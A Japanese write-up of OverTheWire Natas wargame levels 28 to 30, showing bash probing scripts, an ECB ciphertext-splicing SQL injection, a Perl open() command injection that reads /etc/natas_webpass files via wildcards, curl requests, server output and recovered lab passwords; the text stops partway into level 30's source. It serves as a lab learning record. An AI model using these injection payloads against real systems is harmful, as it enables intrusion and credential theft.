678c5773ecc28f870e4f4ebc6c8070a4
この結果からわかるのは、
- 最初の32バイトは同じ
- 文字数が同じの場合、最後の32バイトも同じ
- 入力が12文字以下の場合、16バイトの部分が変化する
- 入力が13文字以上の場合、32バイトの部分が変化する
ということ。
まず1.と2.から、入力は中心部分の16/32バイトの部分に対応することがわかる。
また3.と4.からは、平文を16バイト単位のブロックに分割して、最後の余った部分をパディングする形で暗号化しているのではないかと予想できる。13文字目を挟んだときに溢れた最後の文字に新たなブロックが使われるわけだ。
さらに1.と2.から暗号化はブロックごとに独立して行われていることがわかる。
2.の文字数が変わったときに最後の32バイトが変わってしまうのは、単純に中心のブロックの文字数が増えればその分後のブロックにずれ込んでくるからだろう。
3.と4.の性質を利用すると次のようなこともわかってしまう。
#!/bin/bash
random() {
LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}
query() {
local q
q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
q=$(php -r "echo urldecode(trim('$q'));")
echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}
for c in \\ '"' "'"; do
i=11
p=$(random "$i")
echo "$p: ($i)"
query "$p"
printf "\n\n"
echo "$p$c: ($((i+1)))"
query "$p$c"
printf "\n\n"
done
~$ ./test.sh
g7rhv1oOxfA: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
48788545a0ff2937879e395ad0cf31cb
36336947ddff073d132c22391e655108
ca8cf4e610913abae39a067619204a5a
g7rhv1oOxfA\: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
48788545a0ff2937879e395ad0cf31cb
4b25775f3b878d43429a1a8a6a0ded7f
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
GeOGYKjcZ91: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f80daef211c116a2c36d2f0e87a9a36a
cb3763bf428d6a85ec7d704a50e9735d
ca8cf4e610913abae39a067619204a5a
GeOGYKjcZ91": (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f80daef211c116a2c36d2f0e87a9a36a
dfa7bf6d5415617aa5967885b20f1792
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
SYqcWJNLY3N: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
75d488a0a19ecec65db9eaea54aa3873
f14653dd6ffca148677db36f700bbe61
ca8cf4e610913abae39a067619204a5a
SYqcWJNLY3N': (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
75d488a0a19ecec65db9eaea54aa3873
d84deb9a6427e6f15a7fa82ac636c94b
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
入力はすべて12文字以下であるのにも関わらず、\'"
が追加したものはそうでないものと比べて16バイト増えている。
ここから\'"
に対してエスケープ文字が挿入されていることが推測できる。
さらにもう一つ確認しておくべきなのは、入力が4番ブロックに溢れる文字数は何なのかということ。
#!/bin/bash
random() {
LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}
query() {
local q
q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
q=$(php -r "echo urldecode(trim('$q'));")
echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}
for i in {1..15}; do
p=$(random 15)
for l in + -; do
p=${p:0:i-1}$l${p:i}
echo "$p: ($i)"
query "$p"
printf "\n\n"
done
done
+vLPI1qv8Tdw986: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2424de0403bfdf2ff1447bfbab4d2090
7795c91219d7fca9f83412869c2fec44
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
-vLPI1qv8Tdw986: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
cf9bfc0a2ed30b1050f2c558417e66ca
7795c91219d7fca9f83412869c2fec44
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
g+BBeDCHT1g1EoA: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7d6368b5cb5bf9646c8dac3e1c9c1058
5a4b8bae4856aca5eaa5135621982993
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
g-BBeDCHT1g1EoA: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
672cc4c8abb546f07cf86791b3138ef0
5a4b8bae4856aca5eaa5135621982993
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
Ra+wYnDNJDrB2IL: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a71731d7dd1cd1ae88811cfb5e83de53
b7c34bcc612991e83eb4cef17f9bea9d
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
Ra-wYnDNJDrB2IL: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
1c1a5cd69938c58ebb162efbf316fa0d
b7c34bcc612991e83eb4cef17f9bea9d
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
PiP+AGm4N56qnxr: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
219f0b2ab452444e4db70f145a89da60
5b6d2c9fd3c157f9b15d19578a163743
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
PiP-AGm4N56qnxr: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
adf5776f36b3f3b80106714959c2e8da
5b6d2c9fd3c157f9b15d19578a163743
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
zqTJ+cPyqUjQvqr: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
837b25c84e5687c34fb3576c67bc946f
7062a3df536aa8fe6e03b8395f053c21
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
zqTJ-cPyqUjQvqr: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d773052f7ca0cc14c22b31f379b7fe07
7062a3df536aa8fe6e03b8395f053c21
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
ql2pl+4b1JF7Iy2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
314ecb9b46bdc7ffe7226f2e557bc15d
f8adb66442fe1839e692ba6e4e1b7d24
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
ql2pl-4b1JF7Iy2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
4fbb8620b6127b653c2b81c1a9b00009
f8adb66442fe1839e692ba6e4e1b7d24
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
UjU6pt+bG6PBtYV: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b3b9b8d3d2dcfb5f4a3b123330724a04
0a90b3b4fe6857f2414ad9bb871300cc
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
UjU6pt-bG6PBtYV: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
88d1ec3267567642745dbb95dae8320f
0a90b3b4fe6857f2414ad9bb871300cc
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
soayN3D+JZYww4M: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8a4f43b644413d4276da132e34b89dee
6f9d8369dbae0cad2656a84a88ccb8ff
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
soayN3D-JZYww4M: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8a7e0c53b2905616a6aa63aa82b66ca0
6f9d8369dbae0cad2656a84a88ccb8ff
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
UtakWp8B+OnNjO2: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a266c28fed23d3e73a441ffb7981e1d5
52f6d8846960305bf25809ce21c9db09
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
UtakWp8B-OnNjO2: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
227b644ef34d9dc8f5726cb9926cee7d
52f6d8846960305bf25809ce21c9db09
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
MobZLcFcM+wG8P6: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
4bf941f06db48b7d92b71328bd640e21
3acaf2f390497245f5b447d272eebdf4
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
MobZLcFcM-wG8P6: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
65e7a8cd0374e5748d95b4542006ff9e
3acaf2f390497245f5b447d272eebdf4
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
MCulq50jXu+H9ti: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
57c3685e2d5b0adbd5e4e1513ba7db43
41f2ac1f122846bb08fdb23986804988
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
MCulq50jXu-H9ti: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
57c3685e2d5b0adbd5e4e1513ba7db43
0dbfae113f40b499f855dd5df89562db
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
W2j3DnQcAwK+byX: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
714321e856228c9b34698dfa3269fc17
5b624a268a8a414a816fbaae0eb66c95
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
W2j3DnQcAwK-byX: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
714321e856228c9b34698dfa3269fc17
ef3b4b0238cfe64b067d069021d4b30f
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
wOnJaF2i0O2W+4N: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
ccb00681de3ff8f1cc97d94435597c49
f1e18319493204fd2fb54970447b3b11
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
wOnJaF2i0O2W-4N: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
ccb00681de3ff8f1cc97d94435597c49
ccdf5fde1b4fc69a973f713a51443736
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
O5qZjbPeswMXf+r: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8829a1290cf1cb14c751ca8c09d17b5b
eee024dda4d140bd382dedc016a6f728
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
O5qZjbPeswMXf-r: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8829a1290cf1cb14c751ca8c09d17b5b
c2d37aff95ab5fe8a8952e3031c21896
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
gIJBwfgdD4N3B8+: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b4b64bcbadd3165dec31fd6da3652a42
85c8313585b8d955099f4cfb84acb724
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
gIJBwfgdD4N3B8-: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b4b64bcbadd3165dec31fd6da3652a42
05f768e3641970761473533adf46f6df
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
10文字目までの変化は3番ブロックに現れていたのに対して、11文字目からの変化は4番目ブロックに現れている。
よって10文字目区切りだということがわかる。
ここでようやく天才をする準備が整いました。
まず、テーブルがおそらく違うので'
でwhere
句を閉じたあと、UNION ALL SELECT * FROM users #
のようなクエリを入れたい。
ただこのままだと'
がエスケープされてしまうので、入力が始まる3番ブロックと4番ブロックの境目を利用する。
次のような平文を投げると、
3番ブロック:元からあるクエリ +
XXXXXXXXX'
(10文字) 4番ブロック以降:UNION ALL SELECT password FROM users #
(38文字)+ 元からあるクエリ
このようにエスケープされた暗号文(1)が返ってくる。
3番ブロック:元からあるクエリ +
XXXXXXXXX\
(10文字) 4番ブロック以降:'UNION ALL SELECT password FROM users #
(39文字)+ 元からあるクエリ
ここで、事前に
3番ブロック: 元からあるクエリ +
XXXXXXXXXX
(10文字) 4番ブロック以降:XUNION ALL SELECT password FROM users #
(39文字)+ 元からあるクエリ
といった平文に対応する暗号文(2)を入手しておけば、
(1)の4番ブロックと(2)の13番ブロック+5番ブロックを組み合わせて、
3番ブロック: 元からあるクエリ + XXXXXXXXXX
(10文字)
4番ブロック以降:'UNION ALL SELECT password FROM users #
(39文字)+
元からあるクエリ
といったクエリの暗号文(3)が作れる。
(1)と(2)でクエリ全体の文字数は同じなので、(1)の最初と最後の32バイトをそのまま使いまわせるからだ。また万が一'UNION ALL SELECT password FROM users #
かXUNION ALL SELECT password FROM users #
の部分でさらにブロックの境目があったとしても、両者は先頭以外同じなので問題ない。
(1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
89752fa1b878b408d9ea29aea99a296d
a7225170488029e31dd82be2c40d7c7a
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
(2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e713d92266ef6b6a64803c9344c4d6f0
6540bbd5fbd88f7b5d07f1c2a9853d59
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
(3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e713d92266ef6b6a64803c9344c4d6f0
a7225170488029e31dd82be2c40d7c7a
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
~$ echo 1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2e713d92266ef6b6a64803c9344c4d6f0a7225170488029e31dd82be2c40d7c7a8dd4afcc52d19b0d062c9434d0fa32010c4ff5250462186c20f3db1f555f03cebdfa1054ec68515cf96f2a5544591947904f4b2abf2c2d7686aa72a53151c970 | xxd -p -r | base64 | xargs -I input php -r "echo urlencode('input');"
G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLnE9kiZu9ramSAPJNExNbwpyJRcEiAKeMd2CvixA18eo3Ur8xS0ZsNBiyUNND6MgEMT%2FUlBGIYbCDz2x9VXwPOvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
~$ curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 "http://natas28.natas.labs.overthewire.org/search.php?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLnE9kiZu9ramSAPJNExNbwpyJRcEiAKeMd2CvixA18eo3Ur8xS0ZsNBiyUNND6MgEMT%2FUlBGIYbCDz2x9VXwPOvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas28", "pass": "skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4" };</script></head>
<body>
<!-- morla/10111 -->
<h1>natas28</h1>
<style>
ul {
margin: 1em 0;
padding: 0 0 0 40px;
}
li {
margin: 1em 0;
}
</style>
<div id="content">
<h2> Whack Computer Joke Database</h2><ul><li>pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno</li></ul>
</div>
</body>
</html>
長かった、、、
冗談抜きで丸二日かかった。やばすぎる。
パスワード:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno
Level 29 to 30
ドロップダウンで色々と選べるようになっている。
表示されている内容は、めっちゃPerlなこと以外は関係なさそう。
http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+5
のように、GETのfile
パラメータに選んだ値が渡されているよう。
perl
がコマンドなのでは?と思いpwd%0A
を渡してみたがそうではないみたい。
curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=pwd%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<style>
#content {
width: 1000px;
}
pre{
background-color: #000000;
color: #00FF00;
}
</style>
<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
Perlは沼りそうなので大人しくヒントを見ることに。
https://ivanitlearning.wordpress.com/2020/02/02/overthewire-natas2729/
file
パラメータに|ls%00
をセットしている。なんだこれ。
どうやらPerlのopen
関数はファイル名以外にも|
+ コマンドという形でコマンドを実行することも可能とのこと。
https://perldoc.perl.org/functions/open
If MODE is
|-
, then the filename is interpreted as a command to which output is to be piped, and if MODE is-|
, the filename is interpreted as a command that pipes output to us. In the two-argument (and one-argument) form, one should replace dash (-
) with the command.
でもこれだと|
を後につけなきゃいけないのでは?なぜリンクの記事では前につけてうまくいったのだろう。
ただよく見るとこうも書いてあった。
https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC
In the two-argument form of open(), a pipe open can be achieved by either appending or prepending a pipe symbol to the second argument.
なるほど。つまりopen
の引数が二個の場合は|
は前でも後でもいいみたい。
ややこしい。
まあとにかくこれで好きなコマンドを実行できるようになったので、|%20cat%20/etc/natas_webpass/natas30%0A
で投げてみる。%0A
は改行文字なので%00
でもいけるはず?
~$ curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/natas_webpass/natas30%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<style>
#content {
width: 1000px;
}
pre{
background-color: #000000;
color: #00FF00;
}
</style>
<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
meeeeeep!<br><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
なんかダメだった。
index.pl
の中身をみてみる。
~$ curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20index.pl%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<style>
#content {
width: 1000px;
}
pre{
background-color: #000000;
color: #00FF00;
}
</style>
<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
#!/usr/bin/perl
use CGI qw(:standard);
print <<END;
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<style>
#content {
width: 1000px;
}
pre{
background-color: #000000;
color: #00FF00;
}
</style>
<h1>natas29</h1>
<div id="content">
END
#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#
# credits for the previous level go to whoever
# created insomnihack2016/fridginator, where i stole the idea from.
# that was a fun challenge, Thanks!
#
print <<END;
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\\/\\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
END
if(param('file')){
$f=param('file');
if($f=~/natas/){
print "meeeeeep!<br>";
}
else{
open(FD, "$f.txt");
print "<pre>";
while (<FD>){
print CGI::escapeHTML($_);
}
print "</pre>";
}
}
print <<END;
<div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
END
<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
HTMLの中にHTMLがあって見づらいが、natas
というキーワードは弾かれるようになっているみたい。
Bashならワイルドカードが使えるのでnata?
で試してみる。
curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/nata?_webpass/nata?30%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<style>
#content {
width: 1000px;
}
pre{
background-color: #000000;
color: #00FF00;
}
</style>
<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>
<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>
<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X
どうやらnata""s
でもいけるそう。
パスワード:Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X
Level 30 to 31
久しぶりのソースコードリンク!
#!/usr/bin/perl
use CGI qw(:standard);
use DBI;
print <<END;
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas30", "pass": "<censored>" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<!-- morla/10111 <3 happy birthday OverTheWire! <3 -->
<h1>natas30</h1>
<div id="content">
<form action="index.pl" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
